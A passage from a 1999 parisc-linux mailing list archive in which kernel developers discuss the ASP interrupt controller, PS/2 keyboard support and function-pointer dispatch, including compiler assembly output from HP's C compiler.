	for <parisc-linux@puffin.external.hp.com>; Fri, 12 Nov 1999 12:35:01 -0700
Original-Received: (qmail 30815 invoked by uid 15267); 12 Nov 1999 19:36:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30807 invoked from network); 12 Nov 1999 19:36:31 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 12 Nov 1999 19:36:31 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP
	id 8652580E; Fri, 12 Nov 1999 11:36:30 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id LAA22333; Fri, 12 Nov 1999 11:37:55 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 11 Nov 1999 02:23:31 PST."
             <19991111022331.W25252@mencheca.ch.genedata.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6354

Matthew Wilcox wrote:
...
> The following devices _do_ go through ASP:
> 
> EISA, 8042, SCSI, FDDI, RS232, Centronics, Ethernet, Graphics (1 + 2), Audio.
> 
> which seems pretty comprehensive.  I'm wondering about slimming down our
> interrupt architecture for older machines; it's a trifle over-engineered
> for a machine which can't be expanded.

We need to be able to boot a CD on *any* HP box which parisc-linux
wants to support in order to install parisc-linux. If the kernel
modules will get rebuilt as part of a second pass to optimize code path
for older machines, go for it.

cheers,
grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP
Date: Fri, 12 Nov 1999 20:51:25 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <19991112205125.A10038@mathe.stud.uni-erlangen.de>
References: <199911101524.HAA02309@meow.sr.hp.com> <19991111022331.W25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618618 27793 80.91.229.3 (22 Nov 2014 01:10:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:18 +0000 (UTC)
Cc: bkatz@agilent.com, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: prumpf@r.uni-erlangen.de  Fri Nov 12 12:48:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA31168
	for <parisc-linux@puffin.external.hp.com>; Fri, 12 Nov 1999 12:48:41 -0700
Original-Received: (qmail 4653 invoked by uid 15267); 12 Nov 1999 19:50:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4645 invoked from network); 12 Nov 1999 19:50:10 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 12 Nov 1999 19:50:10 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Fri, 12 Nov 1999 20:50:06 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id UAA10048;
	Fri, 12 Nov 1999 20:52:26 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991111022331.W25252@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6355

> which seems pretty comprehensive.  I'm wondering about slimming down our
> interrupt architecture for older machines; it's a trifle over-engineered
> for a machine which can't be expanded.

it is ?  Of course, you could hardcode the interrupt handlers in the ASP
main interrupt handler, so you would do

switch(ffs(mask)) {
case 0:
	return;
case 1:
	asp_something_interrupt();
	break;
case 2:
	asp_something_else_interrupt();
	break;
case 3:
	asp_keyboard_interrupt();
	break;
}

but my guess is this would just result in a jump table of function calls
rather than an indirect call - not going to improve performance measurably.

	Philipp Rumpf


From - Thu Nov 08 21:11:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] keyboard adventures
Date: Sat, 13 Nov 1999 05:40:47 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <19991113054047.A9492@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618619 27799 80.91.229.3 (22 Nov 2014 01:10:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: prumpf@r.uni-erlangen.de  Fri Nov 12 21:37:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA01646
	for <parisc-linux@puffin.external.hp.com>; Fri, 12 Nov 1999 21:37:54 -0700
Original-Received: (qmail 16929 invoked by uid 15267); 13 Nov 1999 04:39:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16922 invoked from network); 13 Nov 1999 04:39:24 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 13 Nov 1999 04:39:24 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP for parisc-linux@thepuffingroup.com; Sat, 13 Nov 1999 05:39:22 +0100
Original-Received: (from prumpf@localhost)
	by r (8.9.3/8.9.3) id FAA28696
	for parisc-linux@thepuffingroup.com; Sat, 13 Nov 1999 05:41:48 +0100
X-Mailer: Mutt 1.0pre3us
Xref: news.gmane.org gmane.linux.ports.parisc:6356

So, I got PS/2 keyboards pretty much working tonight.  The first major discov-
ery was the 8042-compatible chip used on i386s and most other architectures
translates the AT scancodes the keyboard sends to XT scancodes to send on to
the CPU  -  Lasi doesn't do that, but we do it in software to be able to use
i386's keymaps.

I copied large parts of pc_keyb.c in keyb_at.c which deals with AT->XT trans-
lation as well as providing the XT table interfaces so you should be able to
load keymaps aso.

SysRq seems to work well (well, SysRq-P (show regs) and SysRq-B (reboot) do),
the characters printed (-- %c --) match the key label.

I hope SysRq will be of some use in debugging some of the stuff I'm planning
to do, and we might even end up porting parts of kdb  -  so lots of fun ahead.

	Philipp Rumpf


From - Thu Nov 08 21:11:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philippe Benard <phi@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ASP
Date: Sat, 13 Nov 1999 09:12:53 +0100
Organization: WTEC
Lines: 323
Approved: news@gmane.org
Message-ID: <382D1D85.7B3FA89F@hpfrcu03.france.hp.com>
References: <199911101524.HAA02309@meow.sr.hp.com> <19991111022331.W25252@mencheca.ch.genedata.com> <19991112205125.A10038@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618619 27802 80.91.229.3 (22 Nov 2014 01:10:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:19 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>, bkatz@agilent.com,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: phi@hpfrcu03.france.hp.com  Sat Nov 13 01:09:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA02723
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Nov 1999 01:09:01 -0700
Original-Received: (qmail 31609 invoked by uid 15267); 13 Nov 1999 08:10:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31602 invoked from network); 13 Nov 1999 08:10:31 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 13 Nov 1999 08:10:31 -0000
Original-Received: from iws1pb01.france.hp.com (iws1pb01.france.hp.com [15.124.72.10])
	by palrel1.hp.com (Postfix) with ESMTP
	id 1A314417; Sat, 13 Nov 1999 00:10:29 -0800 (PST)
Original-Received: from hpfrcu03.france.hp.com (localhost [127.0.0.1]) by iws1pb01.france.hp.com with ESMTP (8.7.1/8.7.1) id JAA00940; Sat, 13 Nov 1999 09:12:54 +0100 (MET)
Original-Sender: phi@hpfrcu81.france.hp.com
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6357

Philipp Rumpf wrote:
> 
> 
> but my guess is this would just result in a jump table of function calls
> rather than an indirect call - not going to improve performance measurably.
> 

I think it depends how compiled deal with pointer to function, in the
following example you got the asm code gened (with HP compiler), in compile #1
regular pointer to function, then the jump table is better
as the call to dyncall to perform the function call cost about dozen of
instruction, space register switching, etc...
On compile2 instructing the compiler that there is no shared lib (what does
happen on HP-UX kenel despite the DLKM, then the +ESfic canbe used greatly
reducing the pointer to function deref.

So I would say, if your compiler have a +ESfic kind of feature, you'd better
use the pointer to function array.

ic.c::
int f0(){}
int f1(){}
int f2(){}
int f3(){}
int (*fp[4])()={f0,f1,f2,f3};

f(i)
{ switch(i)
  { case 0:f0();break;
    case 1:f1();break;
    case 2:f2();break;
    case 3:f3();break;
   }

   (*fp[i])();

}

compile 1================================================
$ cc -S ic.c -O ; more ic.s
        .LEVEL  1.1

        .SPACE  $TEXT$,SORT=8
        .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=0x2c,CODE_ONLY,SORT=24
f0
        .PROC
        .CALLINFO FRAME=0
        .ENTRY
        .EXIT
        BV,N    %r0(%r2)        ;offset 0x0
        .PROCEND        ;out=28;



        .SPACE  $TEXT$
        .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=0x2c,CODE_ONLY,SORT=24
f1
        .PROC
        .CALLINFO FRAME=0
        .ENTRY
        .EXIT
        BV,N    %r0(%r2)        ;offset 0x8
        .PROCEND        ;out=28;





        .SPACE  $TEXT$
        .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=0x2c,CODE_ONLY,SORT=24
f2
        .PROC
        .CALLINFO FRAME=0
        .ENTRY
        .EXIT
        BV,N    %r0(%r2)        ;offset 0x10
        .PROCEND        ;out=28;



        .SPACE  $TEXT$
        .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=0x2c,CODE_ONLY,SORT=24
f3
        .PROC
        .CALLINFO FRAME=0
        .ENTRY
        .EXIT
        BV,N    %r0(%r2)        ;offset 0x18
        .PROCEND        ;out=28;



        .SPACE  $TEXT$
        .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=0x2c,CODE_ONLY,SORT=24
f
        .PROC
        .CALLINFO CALLER,FRAME=16,ENTRY_GR=%r3,SAVE_RP,ARGS_SAVED
        .ENTRY
        STW     %r2,-20(%r30)   ;offset 0x20
        STW,MA  %r3,64(%r30)    ;offset 0x24
        CMPIB,<<        3,%r26,$00000001        ;offset 0x28
        COPY    %r26,%r3        ;offset 0x2c
        CMPIB,=,N       3,%r3,$00000005 ;offset 0x30
        CMPIB,<<,N      1,%r3,$00000004 ;offset 0x34
        CMPIB,=,N       1,%r3,$00000003 ;offset 0x38
        CMPB,<>,N       %r3,%r0,$00000001       ;offset 0x3c
$00000002
        .CALL   RTNVAL=GR       ;out=28;
        B,L     f0,%r2  ;offset 0x40
        NOP             ;offset 0x44
        B       $00000001+4     ;offset 0x48
        ADDIL   LR'fp-$global$,%r27,%r1 ;offset 0x4c
$00000003
        .CALL   RTNVAL=GR       ;out=28;
        B,L     f1,%r2  ;offset 0x50
        NOP             ;offset 0x54
        B       $00000001+4     ;offset 0x58
        ADDIL   LR'fp-$global$,%r27,%r1 ;offset 0x5c
$00000004
        .CALL   RTNVAL=GR       ;out=28;
        B,L     f2,%r2  ;offset 0x60
        NOP             ;offset 0x64
        B       $00000001+4     ;offset 0x68
        ADDIL   LR'fp-$global$,%r27,%r1 ;offset 0x6c
$00000005
        .CALL   RTNVAL=GR       ;out=28;
        B,L     f3,%r2  ;offset 0x70
        NOP             ;offset 0x74
$00000001
        ADDIL   LR'fp-$global$,%r27,%r1 ;offset 0x78
        LDO     RR'fp-$global$(%r1),%r31        ;offset 0x7c
        LDW,S   %r3(%r31),%r22  ;offset 0x80
        .CALL   RTNVAL=GR       ;in=22;out=28;
        B,L     $$dyncall,%r31  ;offset 0x84
        COPY    %r31,%r2        ;offset 0x88
        LDW     -84(%r30),%r2   ;offset 0x8c
        BV      %r0(%r2)        ;offset 0x90
        .EXIT
        LDW,MB  -64(%r30),%r3   ;offset 0x94
        .PROCEND        ;in=26;out=28;



        .SPACE  $TEXT$
        .SUBSPA $CODE$
        .SUBSPA $CODE$
        .SUBSPA $CODE$
        .SUBSPA $CODE$
        .SUBSPA $CODE$
        .SPACE  $PRIVATE$,SORT=16
        .SUBSPA $DATA$,QUAD=1,ALIGN=8,ACCESS=0x1f,SORT=16
fp
        .ALIGN  8
        .WORD  P'f0
        .WORD  P'f1
        .WORD  P'f2
        .WORD  P'f3
        .IMPORT $global$,DATA
        .SPACE  $TEXT$
        .SUBSPA $CODE$
        .EXPORT f0,ENTRY,PRIV_LEV=3,RTNVAL=GR
        .SUBSPA $CODE$
        .EXPORT f1,ENTRY,PRIV_LEV=3,RTNVAL=GR
        .SUBSPA $CODE$
        .EXPORT f2,ENTRY,PRIV_LEV=3,RTNVAL=GR
        .SUBSPA $CODE$
        .EXPORT f3,ENTRY,PRIV_LEV=3,RTNVAL=GR
        .SPACE  $PRIVATE$
        .SUBSPA $DATA$
        .EXPORT fp
        .SPACE  $TEXT$
        .SUBSPA $CODE$
        .EXPORT f,ENTRY,PRIV_LEV=3,ARGW0=GR,RTNVAL=GR
        .IMPORT $$dyncall,MILLICODE
        .END


compile 2=======================================================
$ cc -S ic.c +ESfic -O; more ic.s
        .LEVEL  1.1

        .SPACE  $TEXT$,SORT=8
        .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=0x2c,CODE_ONLY,SORT=24
f0
        .PROC
        .CALLINFO FRAME=0
        .ENTRY
        .EXIT
        BV,N    %r0(%r2)        ;offset 0x0
        .PROCEND        ;out=28;



        .SPACE  $TEXT$
        .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=0x2c,CODE_ONLY,SORT=24
f1
        .PROC
        .CALLINFO FRAME=0
        .ENTRY
        .EXIT
        BV,N    %r0(%r2)        ;offset 0x8
        .PROCEND        ;out=28;



        .SPACE  $TEXT$
        .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=0x2c,CODE_ONLY,SORT=24
f2
        .PROC
        .CALLINFO FRAME=0
        .ENTRY
        .EXIT
        BV,N    %r0(%r2)        ;offset 0x10
        .PROCEND        ;out=28;



        .SPACE  $TEXT$
        .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=0x2c,CODE_ONLY,SORT=24
f3
        .PROC
        .CALLINFO FRAME=0
        .ENTRY
        .EXIT
        BV,N    %r0(%r2)        ;offset 0x18
        .PROCEND        ;out=28;



        .SPACE  $TEXT$
        .SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=0x2c,CODE_ONLY,SORT=24
f
        .PROC
        .CALLINFO CALLER,FRAME=80,ENTRY_GR=%r3,SAVE_RP,ARGS_SAVED
        .ENTRY
        STW     %r2,-20(%r30)   ;offset 0x20
        STW,MA  %r3,128(%r30)   ;offset 0x24
        CMPIB,<<        3,%r26,$00000001        ;offset 0x28
        COPY    %r26,%r3        ;offset 0x2c
        CMPIB,=,N       3,%r3,$00000005 ;offset 0x30
        CMPIB,<<,N      1,%r3,$00000004 ;offset 0x34
        CMPIB,=,N       1,%r3,$00000003 ;offset 0x38
        CMPB,<>,N       %r3,%r0,$00000001       ;offset 0x3c
$00000002
        .CALL   RTNVAL=GR       ;out=28;
        B,L     f0,%r2  ;offset 0x40
        NOP             ;offset 0x44
        B       $00000001+4     ;offset 0x48
        ADDIL   LR'fp-$global$,%r27,%r1 ;offset 0x4c
$00000003
        .CALL   RTNVAL=GR       ;out=28;
        B,L     f1,%r2  ;offset 0x50
        NOP             ;offset 0x54
        B       $00000001+4     ;offset 0x58
        ADDIL   LR'fp-$global$,%r27,%r1 ;offset 0x5c
$00000004
        .CALL   RTNVAL=GR       ;out=28;
        B,L     f2,%r2  ;offset 0x60
        NOP             ;offset 0x64
        B       $00000001+4     ;offset 0x68
        ADDIL   LR'fp-$global$,%r27,%r1 ;offset 0x6c
$00000005
        .CALL   RTNVAL=GR       ;out=28;
        B,L     f3,%r2  ;offset 0x70
        NOP             ;offset 0x74
$00000001
        ADDIL   LR'fp-$global$,%r27,%r1 ;offset 0x78
        LDO     RR'fp-$global$(%r1),%r31        ;offset 0x7c
        LDW,S   %r3(%r31),%r24  ;offset 0x80
        STW     %r24,-112(%r30) ;offset 0x84
        LDW     -112(%r30),%r23 ;offset 0x88
        STW     %r23,-120(%r30) ;offset 0x8c
        .CALL   RTNVAL=GR       ;out=28;
        BE,L    0(%sr4,%r23),%r31       ;offset 0x90
        COPY    %r31,%r2        ;offset 0x94
        LDW     -148(%r30),%r2  ;offset 0x98
        LDW     -120(%r30),%r23 ;offset 0x9c
        BV      %r0(%r2)        ;offset 0xa0
        .EXIT
        LDW,MB  -128(%r30),%r3  ;offset 0xa4
        .PROCEND        ;in=26;out=28;



        .SPACE  $TEXT$
        .SUBSPA $CODE$
        .SUBSPA $CODE$
        .SUBSPA $CODE$
        .SUBSPA $CODE$
        .SUBSPA $CODE$
        .SPACE  $PRIVATE$,SORT=16
        .SUBSPA $DATA$,QUAD=1,ALIGN=8,ACCESS=0x1f,SORT=16
fp
        .ALIGN  8
        .WORD  P'f0
        .WORD  P'f1
        .WORD  P'f2
        .WORD  P'f3
        .IMPORT $global$,DATA
        .SPACE  $TEXT$
        .SUBSPA $CODE$
        .EXPORT f0,ENTRY,PRIV_LEV=3,RTNVAL=GR
        .SUBSPA $CODE$
        .EXPORT f1,ENTRY,PRIV_LEV=3,RTNVAL=GR
        .SUBSPA $CODE$
        .EXPORT f2,ENTRY,PRIV_LEV=3,RTNVAL=GR
        .SUBSPA $CODE$
        .EXPORT f3,ENTRY,PRIV_LEV=3,RTNVAL=GR
        .SPACE  $PRIVATE$
        .SUBSPA $DATA$
        .EXPORT fp
        .SPACE  $TEXT$
        .SUBSPA $CODE$
        .EXPORT f,ENTRY,PRIV_LEV=3,ARGW0=GR,RTNVAL=GR
        .END

======================================================================


--
mailto:phi@hpfrcu81.france.hp.com
WTEC Project. Kernel debugging tools


From - Thu Nov 08 21:11:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715 useful
Date: Sat, 13 Nov 1999 19:21:50 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <19991113192150.X25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618619 27808 80.91.229.3 (22 Nov 2014 01:10:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Sat Nov 13 11:18:32 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA04655
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Nov 1999 11:18:32 -0700
Original-Received: (qmail 24170 invoked by uid 15267); 13 Nov 1999 18:20:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24163 invoked from network); 13 Nov 1999 18:20:02 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 13 Nov 1999 18:20:02 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dADIJtS13972
	for <parisc-linux@thepuffingroup.com>; Sat, 13 Nov 1999 19:19:56 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dADIJtP10281
	for <parisc-linux@thepuffingroup.com>; Sat, 13 Nov 1999 19:19:55 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id TAA1126952
	for <parisc-linux@thepuffingroup.com>; Sat, 13 Nov 1999 19:19:54 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11mho7-00026uC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Sat, 13 Nov 1999 19:21:51 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:6358


I've got keyboard input working on the 715/33 (should also work on 715/50
and 715/75).  There's still some bits which I don't want to commit, so you
can ftp those from
puffin.external.hp.com/pub/parisc/src/patch-715-19991113
if you want to type amazing sash commands on your 715.  try `help' as your
first one.

For the machines which have ASP, am I right in saying they have no other
sources of interrupts?  ie what I want to do is:

if we detect an ASP, set the interrupt routine to load the IRR from ASP
and then only make one pass through do_irq_mask instead of two.

This lets me not bother which irq line ASP is interrupting on, at the
expense of not being able to take interrupts from any other source.
And it'll reduce interrupt latency on those older machines with ASP,
so it seems like a win, unless I'm wrong and it's possible to add other
sources of interrupt to them.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 useful
Date: Sat, 13 Nov 1999 13:34:20 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <199911131834.NAA00219@hiauly1.hia.nrc.ca>
References: <19991113192150.X25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618620 27810 80.91.229.3 (22 Nov 2014 01:10:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew.Wilcox@genedata.com (Matthew Wilcox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Nov 13 11:33:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA04932
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Nov 1999 11:33:09 -0700
Original-Received: (qmail 27682 invoked by uid 15267); 13 Nov 1999 18:34:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27670 invoked from network); 13 Nov 1999 18:34:40 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 13 Nov 1999 18:34:40 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA00219;
	Sat, 13 Nov 1999 13:34:21 -0500 (EST)
In-Reply-To: <19991113192150.X25252@mencheca.ch.genedata.com> from "Matthew Wilcox" at Nov 13, 99 07:21:50 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6359

> For the machines which have ASP, am I right in saying they have no other
> sources of interrupts?  ie what I want to do is:

Under hpux 10.X, I was told that the NCR 710/720 controller devices are
sources of interrupts.  They do this by writing to the processor.  Thus,
it appears they bypass the ASP.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 useful
Date: Sat, 13 Nov 1999 14:58:06 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911131454390.3678-100000@vodka.thepuffingroup.com>
References: <19991113192150.X25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618620 27813 80.91.229.3 (22 Nov 2014 01:10:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:20 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: adevries@thepuffingroup.com  Sat Nov 13 11:45:49 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA05235
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Nov 1999 11:45:49 -0700
Original-Received: (qmail 31122 invoked by uid 15267); 13 Nov 1999 18:47:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31114 invoked from network); 13 Nov 1999 18:47:20 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 13 Nov 1999 18:47:20 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.2])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id OAA03702;
	Sat, 13 Nov 1999 14:58:06 -0500
In-Reply-To: <19991113192150.X25252@mencheca.ch.genedata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6360


On Sat, 13 Nov 1999, Matthew Wilcox wrote:
> For the machines which have ASP, am I right in saying they have no other
> sources of interrupts?  ie what I want to do is:

I'm interpretting this question as:

"For machines which have ASP, am I right in saying that no other IO
devices apart from ASP generate interrupts to the CPU?"

I think the answer to that question is no, because:
- they have GSC slots, so you could have a card mode lasi or dino device
- doesn't WAX have it's own interrupts?

However, you might be able to set it up so that you still get the
optimization if at runtime it's found that the ASP is the only detected
device.

Did I interpret your question properly?

- Alex


From - Thu Nov 08 21:11:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715 useful
Date: Sat, 13 Nov 1999 14:59:04 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9911131458240.3678-100000@vodka.thepuffingroup.com>
References: <199911131834.NAA00219@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618620 27816 80.91.229.3 (22 Nov 2014 01:10:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:20 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: adevries@thepuffingroup.com  Sat Nov 13 11:46:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA05346
	for <parisc-linux@puffin.external.hp.com>; Sat, 13 Nov 1999 11:46:44 -0700
Original-Received: (qmail 31482 invoked by uid 15267); 13 Nov 1999 18:48:15 -0000
